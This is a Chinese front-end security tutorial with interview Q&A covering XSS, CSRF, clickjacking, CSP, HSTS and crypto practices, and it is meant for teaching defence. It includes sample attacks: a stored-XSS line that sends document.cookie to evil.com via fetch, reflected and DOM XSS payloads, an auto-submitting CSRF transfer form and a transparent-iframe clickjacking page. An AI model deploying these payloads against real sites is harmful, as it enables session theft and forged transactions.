Skip to content

前端安全

作者:青见春山
发表于:2026-07-29
字数统计:8000 字
预计阅读27分钟

涵盖 XSS、CSRF、点击劫持、CSP、SameSite、HTTPS 安全机制、SRI、HTTPS 降级攻击、防 DDoS、密码学安全。

一、XSS(Cross-Site Scripting)

1. 概念

XSS(跨站脚本攻击):攻击者把恶意脚本注入到合法网站中。当其他用户访问时,浏览器执行恶意脚本,导致:

  • 窃取 Cookie、Token
  • 监听用户行为
  • 篡改页面内容
  • 发起 CSRF 攻击
  • 挖矿、键盘记录等

2. XSS 的三类

反射型 XSS(Reflected XSS)

HTTP
GET /search?keyword=<script>alert('XSS')</script> HTTP/1.1
Host: example.com

服务器返回:
HTTP/1.1 200 OK
Content-Type: text/html

<html>
  <body>
    您搜索的关键词:<script>alert('XSS')</script>
  </body>
</html>
  • 恶意脚本来自 URL(搜索框、错误页等)
  • 用户点击攻击者构造的 URL 时触发
  • 需要诱导用户访问特定 URL

存储型 XSS(Stored XSS)

JavaScript
// 用户提交评论
{
  content: "好看的文章!<script>fetch('//evil.com/steal?c=' + document.cookie)</script>"
}
// 服务端存入数据库
// 其他用户访问页面时,恶意脚本被加载并执行
  • 恶意脚本存在数据库中
  • 影响所有访问该页面的用户
  • 危害最大(论坛、评论区常见)

DOM 型 XSS(DOM-based XSS)

HTML
<!-- URL: https://example.com/page#<img src=x onerror=alert(1)> -->
<script>
  // 前端从 URL hash 读取,直接插入到 DOM
  document.getElementById('content').innerHTML = location.hash.slice(1)
</script>
  • 完全发生在客户端
  • 不经过服务端
  • 服务器返回的页面是静态的,但前端 JS 处理数据时产生漏洞

3. XSS 防御

防御 1:输入过滤 / 输出编码

JavaScript
// ❌ 危险:innerHTML 直接渲染用户输入
element.innerHTML = userInput

// ✅ 安全:使用 textContent(自动转义)
element.textContent = userInput

// ✅ 安全:使用 DOM API 创建元素
const div = document.createElement('div')
div.textContent = userInput
parent.appendChild(div)

// 转义工具函数
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;',
    '/': '&#x2F;'
  }
  return str.replace(/[&<>"'/]/g, m => map[m])
}

防御 2:CSP(Content Security Policy)

HTML
<!-- 1. 通过 meta 标签设置 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self'">
HTTP
<!-- 2. 通过 HTTP 响应头(推荐) -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'

CSP 指令示例:

指令作用
default-src 'self'默认只加载同源资源
script-src 'self' 'unsafe-inline' https://cdn.x.comJS 来源限制
style-src 'self' 'unsafe-inline'样式来源限制
img-src *图片允许任意来源
connect-src 'self'AJAX / WebSocket 来源限制
object-src 'none'禁用 <object> <embed> <applet>
frame-ancestors 'none'防点击劫持
base-uri 'self'<base> 标签劫持
HTTP
# 违规时上报
Content-Security-Policy: default-src 'self'; report-uri /csp-report

# 仅报告不强制(用于测试)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
HTTP
Set-Cookie: SESSIONID=xxx; HttpOnly
  • JS 无法读取 Cookie
  • 即使 XSS 注入,攻击者也拿不到 Cookie

防御 4:现代框架默认转义

JavaScript
// React:默认转义
<div>{userInput}</div>  // 自动转义,安全
<div dangerouslySetInnerHTML={{ __html: userInput }} />  // ❌ 危险

// Vue:默认转义
<div>{{ userInput }}</div>  // 安全
<div v-html="userInput"></div>  // ❌ 危险

// Angular:默认转义
<div>{{ userInput }}</div>  // 安全
<div [innerHTML]="userInput"></div>  // 模板会自动净化

二、CSRF(Cross-Site Request Forgery)

1. 概念

CSRF(跨站请求伪造):攻击者诱导用户在已登录的网站上执行非本意的操作。

HTML
<!-- 攻击页面 evil.com -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>
  document.forms[0].submit()  // 自动提交
</script>
  • 用户在 bank.com 已登录(Cookie 存在)
  • 访问 evil.com 时,自动发起转账请求
  • 浏览器自动带 Cookie,bank.com 认为是用户操作

2. CSRF 攻击成功的条件

  1. 用户在目标站点已登录(Cookie 有效)
  2. 目标站点的接口没有二次验证
  3. 用户访问了攻击者构造的页面

3. CSRF 防御

HTTP
Set-Cookie: SESSIONID=xxx; SameSite=Strict; HttpOnly; Secure
  • Strict:完全禁止跨站发送
  • Lax:允许跨站 GET(默认值)
  • 缺点:部分老浏览器不支持

防御 2:CSRF Token

HTML
<!-- 服务端渲染时把 Token 写入表单 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="随机生成的 token" />
  <input type="hidden" name="to" value="张三" />
  <input type="hidden" name="amount" value="100" />
</form>

<!-- 服务端验证 -->
JavaScript
// AJAX 请求带上 Token
fetch('/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': csrfToken },
  body: JSON.stringify({ to: '张三', amount: 100 })
})

为什么有效? 攻击者无法读取目标站点的 Cookie(受同源策略限制),也无法获取 Token。

防御 3:验证 Origin / Referer

JavaScript
// 服务端检查 Origin 或 Referer 头部
// 例:Node.js
app.post('/transfer', (req, res) => {
  const origin = req.headers.origin || req.headers.referer
  if (!origin || !origin.startsWith('https://bank.com')) {
    return res.status(403).send('Forbidden')
  }
  // 业务逻辑
})

优点:简单易行 缺点:依赖浏览器发送正确的 Referer(部分老浏览器、隐私模式可能不发)

JavaScript
// 1. 服务端下发一个随机 Cookie
Set-Cookie: csrf_token=xxx; HttpOnly; Secure

// 2. 前端 JS 读取 Cookie 并放到请求头
// 注意:因为 HttpOnly,JS 读不到这个 Cookie,需要服务端下发到前端页面
// 改进:CSRF Token 不设为 HttpOnly,让前端可读

// 3. 服务端验证:Cookie 中的 token 和 Header 中的 token 一致
JavaScript
// 攻击者无法读取或写入目标站点的 Cookie(同源策略)
// 所以无法同时设置 Cookie 和 Header

防御 5:验证码

HTML
<form>
  <input type="text" name="captcha" placeholder="验证码" />
  <input type="hidden" name="to" value="张三" />
</form>
  • 攻击者无法识别验证码(需要 OCR 或绕过)
  • 但用户体验差,只用于敏感操作

4. XSS 与 CSRF 的关系

Plain
XSS 防御 → CSRF 也得到缓解(攻击者无法注入 JS)
CSRF 防御 → 跟 XSS 无关(CSRF 不需要执行 JS)

XSS 解决的是:恶意代码在用户浏览器执行
CSRF 解决的是:伪造用户发起请求

两者需要分别防御!

三、点击劫持(Clickjacking)

1. 概念

攻击者把目标网站用 iframe 嵌入自己的页面,通过透明覆盖层欺骗用户点击。

HTML
<!-- 攻击者页面 -->
<div style="position: relative;">
  <button>点击领取奖品</button>  <!-- 用户看到的 -->

  <iframe src="https://bank.com/transfer?to=attacker&amount=10000"
          style="position: absolute; top: 0; left: 0; opacity: 0; width: 100%; height: 100%;"></iframe>
</div>
  • 用户点击"领取奖品"
  • 实际上点到的是 iframe 内的"转账"按钮

2. 防御

HTTP
<!-- 1. X-Frame-Options(已不推荐,但兼容性最好) -->
X-Frame-Options: DENY              # 完全不允许嵌入
X-Frame-Options: SAMEORIGIN        # 仅同源可嵌入
X-Frame-Options: ALLOW-FROM https://example.com  # 指定允许的源

<!-- 2. CSP frame-ancestors(推荐,替代 X-Frame-Options) -->
Content-Security-Policy: frame-ancestors 'none'           # 完全不允许
Content-Security-Policy: frame-ancestors 'self'           # 仅同源
Content-Security-Policy: frame-ancestors https://*.x.com  # 指定源
JavaScript
// 3. JS 防御(兜底方案)
if (top !== self) {
  top.location = self.location  // 跳出 iframe
}

四、HTTPS 安全机制(补充)

1. HTTPS 防护的攻击

攻击类型HTTPS 防护能力
窃听✅ 加密通信内容
篡改✅ MAC 校验
冒充✅ CA 证书验证
重放攻击⚠️ 需要应用层加 nonce
SSL Stripping❌ 需要 HSTS

2. SSL Stripping

Plain
攻击流程:
1. 用户访问 http://example.com
2. 中间人拦截,把 HTTPS 重定向到 HTTP
3. 用户所有数据传输都走 HTTP,被窃听
4. 即使后端是 HTTPS,用户实际传输的是明文

防御:HSTS(HTTP Strict Transport Security)
HTTP
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • 浏览器强制使用 HTTPS(即使输入 HTTP)
  • 第一次访问需要 HTTPS 才有效
  • preload:提交到浏览器内置列表

3. SRI(Subresource Integrity)

HTML
<!-- 引入 CDN 资源时校验完整性 -->
<script src="https://cdn.example.com/lib.js"
        integrity="sha384-abc123..."
        crossorigin="anonymous"></script>
  • 浏览器下载资源后,用 SHA-384 hash 校验
  • 不匹配则拒绝执行(防 CDN 被篡改)
  • 适用于第三方 CDN 资源

五、密码学安全实践

1. 密码存储

JavaScript
// ❌ 千万不要明文存储密码
user.password = '123456'

// ✅ 使用 bcrypt / argon2 等算法
const bcrypt = require('bcrypt')
const hash = await bcrypt.hash(password, 12)  // 12 是 cost
const match = await bcrypt.compare(password, hash)

// ✅ 浏览器端:用 Web Crypto API
async function hashPassword(password) {
  const encoder = new TextEncoder()
  const data = encoder.encode(password)
  const hashBuffer = await crypto.subtle.digest('SHA-256', data)
  return Array.from(new Uint8Array(hashBuffer))
    .map(b => b.toString(16).padStart(2, '0'))
    .join('')
}

2. 常见安全算法

用途推荐算法不推荐
对称加密AES-256-GCMDES、RC4
非对称加密RSA-2048+、ECCRSA-1024
哈希SHA-256、SHA-3、BLAKE2MD5、SHA-1
密码哈希bcrypt、argon2、scryptSHA-256 直接
签名HMAC-SHA256、ECDSA手动实现的签名
随机数crypto.randomUUID()Math.random()

3. 不要自己造加密算法

Plain
永远不要自己实现加密算法!
- 使用经过验证的标准库
- 让密码学专家审核
- 关注算法的演进和已知漏洞

六、其他前端安全问题

1. 中间人攻击(MITM)

Plain
中间人攻击:攻击者在客户端和服务端之间拦截、篡改通信

场景:
- 公共 WiFi(咖啡店、机场)
- DNS 劫持
- 伪造 AP

防御:
- HTTPS(加密 + 认证)
- HSTS(强制 HTTPS)
- 证书锁定(移动端常用)

2. SQL 注入(前端相关)

JavaScript
// ❌ 前端不要拼接 SQL(更主要是后端责任)
// 但前端要做基础防护:

// 输入验证
function validateInput(value, type) {
  if (type === 'email') {
    return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value)
  }
  // ...
}

// 用参数化 API 替代字符串拼接
// 后端负责:PreparedStatement、ORM

3. 不安全的第三方依赖

Bash
# 定期检查依赖漏洞
npm audit
yarn audit

# 自动修复
npm audit fix

# 锁定版本(防供应链攻击)
# package-lock.json / yarn.lock

4. 开放重定向

JavaScript
// ❌ 危险:未验证的 redirect
const url = req.query.url
res.redirect(url)  // 用户可能被诱导到恶意网站

// ✅ 验证重定向 URL
const url = req.query.url
if (new URL(url).origin === 'https://example.com') {
  res.redirect(url)
}

5. SSRF(Server-Side Request Forgery)

Plain
服务器端请求伪造:攻击者诱导服务器访问内部资源

前端相关:上传 URL 让服务器去请求
- 头像上传:URL 让服务器下载
- 服务端需验证 URL,避免访问内网

七、安全响应头总结

HTTP
# 完整的安全响应头配置
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
Permissions-Policy: camera=(), microphone=(), geolocation=()
响应头作用
Strict-Transport-Security强制 HTTPS
X-Content-Type-Options: nosniff禁止 MIME 嗅探
X-Frame-Options: DENY防点击劫持
X-XSS-Protection: 1; mode=block启用浏览器 XSS 过滤
Referrer-Policy控制 Referer 泄漏
Content-Security-PolicyCSP 防 XSS
Permissions-Policy控制浏览器特性

八、面试高频问答

Q1: 什么是 XSS?如何防御?

:XSS(跨站脚本攻击):攻击者注入恶意脚本到合法网站,在其他用户浏览器中执行。分类:

  1. 反射型:恶意脚本在 URL 中,需要诱导用户访问
  2. 存储型:恶意脚本存在数据库,影响所有访问用户
  3. DOM 型:完全在前端 JS 中产生漏洞

防御方案

  1. 输入过滤 + 输出编码:用 textContent 替代 innerHTML
  2. CSP:限制脚本来源
  3. HttpOnly Cookie:防 Cookie 窃取
  4. 现代框架:React/Vue 默认转义,避免 v-html / dangerouslySetInnerHTML

Q2: 什么是 CSRF?如何防御?

:CSRF(跨站请求伪造):攻击者诱导用户在已登录站点执行非本意操作。

防御方案

  1. SameSite Cookie:阻止跨站发送 Cookie
  2. CSRF Token:服务端生成随机 token,前端请求时携带
  3. 验证 Origin/Referer:检查请求来源
  4. 双重 Cookie:Cookie + Header 双重验证
  5. 验证码:敏感操作加验证码

Q3: CSP 是什么?怎么用?

:CSP(Content Security Policy)是浏览器提供的安全机制,通过 HTTP 响应头或 meta 标签告诉浏览器允许加载哪些资源。

典型配置

HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.x.com; style-src 'self' 'unsafe-inline'; img-src *; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

CSP 能有效防御 XSS(限制内联脚本、限制脚本来源),并提供违规报告。

Q4: XSS 和 CSRF 的区别?

  • XSS:恶意脚本在用户浏览器执行(窃取 Cookie、监听行为)
  • CSRF:伪造用户发起请求(转账、改密码)

两者防御手段不重叠

  • XSS 防御:输入过滤、CSP、HttpOnly
  • CSRF 防御:SameSite、CSRF Token、Referer 验证

需要分别防御。

十、CSP(Content Security Policy)深度讲解

CSP(内容安全策略)是浏览器提供的额外安全层,通过 HTTP 响应头告诉浏览器允许加载哪些资源、禁止执行哪些脚本,主动防御 XSS 攻击

一句话理解

CSP 就是告诉浏览器"我这个页面只信任哪些资源",不符合的全部拦截。

CSP 是怎么工作的?

服务器在 HTTP 响应头里设置 Content-Security-Policy

HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.x.com; img-src *; object-src 'none'

浏览器解析后,严格按策略加载资源:内联脚本如果不在白名单 → 拦截;外链 JS 如果不在白名单 → 拦截。

CSP 能限制什么?

1. 脚本来源(防 XSS 核心)

HTTP
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.x.com
  • 'self':只允许同源脚本
  • 'unsafe-inline':允许内联脚本(不安全,慎用
  • 'unsafe-eval':允许 eval()(不安全)
  • 特定域名:允许这个域名下的脚本

2. 图片 / 请求来源

HTTP
img-src https://img.x.com data:
connect-src https://api.x.com

3. 禁止内联脚本(很关键)

HTTP
script-src 'self'  # 没有 'unsafe-inline',禁止所有内联 script

这能直接防御大部分 XSS 攻击。

CSP 能防什么攻击?

✅ 能防:

  • XSS(最重要):限制脚本来源、禁止内联脚本
  • 数据外泄(限制 connect-src 到可信 API)
  • 点击劫持(frame-ancestors 'none'

❌ 不能防:

  • CSRF(CSP 不解决跨站请求伪造)
  • SQL 注入(后端问题)
  • 钓鱼攻击

CSP 常见策略说明

  • default-src:默认策略(兜底)
  • script-src:JS 脚本来源
  • style-src:CSS 来源
  • img-src:图片来源
  • connect-src:XHR / fetch / WebSocket 请求的目标

CSP 的两种模式

  • report-only(只上报不拦截):违规行为只上报到指定 endpoint,不拦截。常用于测试。

    HTTP
    Content-Security-Policy-Report-Only: ...
  • enforce(严格执行):违规直接拦截并上报。

一个真实例子

HTTP
Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'unsafe-inline' https://cdn.x.com;
    style-src 'self' 'unsafe-inline';
    img-src *;
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'none';
    report-uri /csp-report

十一、关联文档